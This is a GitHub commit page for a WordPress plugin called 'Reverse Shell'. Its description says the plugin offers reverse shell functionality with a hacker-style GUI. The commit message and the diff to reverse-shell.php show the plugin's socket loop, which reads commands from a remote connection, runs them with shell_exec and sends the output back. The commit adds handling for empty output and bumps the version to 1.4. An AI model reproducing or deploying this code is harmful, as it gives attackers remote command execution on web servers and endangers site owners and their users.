Skip to content

Commit c4c5fe5

Browse files
authored
Fix: Handle null or empty command output in reverse shell connection
## Changes in this Commit ### Fix: Handle null or empty command output in reverse shell connection In this update, the reverse shell connection was enhanced to handle cases where the shell command produces null or empty output. Previously, this could have led to connection instability or crashes. The following changes were made: - **Null or Empty Output Handling**: If the shell command does not return any output, a fallback message is now sent to the socket, preventing any connection issues. ```php $output = shell_exec($cmd); fwrite($sock, $output ?: 'No output from command.'); ```
1 parent 527cf75 commit c4c5fe5

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

reverse-shell.php

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
/**
33
* Plugin Name: Reverse Shell
44
* Description: A plugin that provides reverse shell functionality with a hacker-style GUI for configuration.
5-
* Version: 1.3
5+
* Version: 1.4
66
* Author: 4m3rr0r
77
*/
88

@@ -123,7 +123,7 @@ function reverse_shell_connect($ip, $port) {
123123
while (!feof($sock)) {
124124
$cmd = fread($sock, 2048);
125125
$output = shell_exec($cmd);
126-
fwrite($sock, $output);
126+
fwrite($sock, $output ?: 'No output from command.');
127127
}
128128
fclose($sock);
129129
}

0 commit comments

Comments
 (0)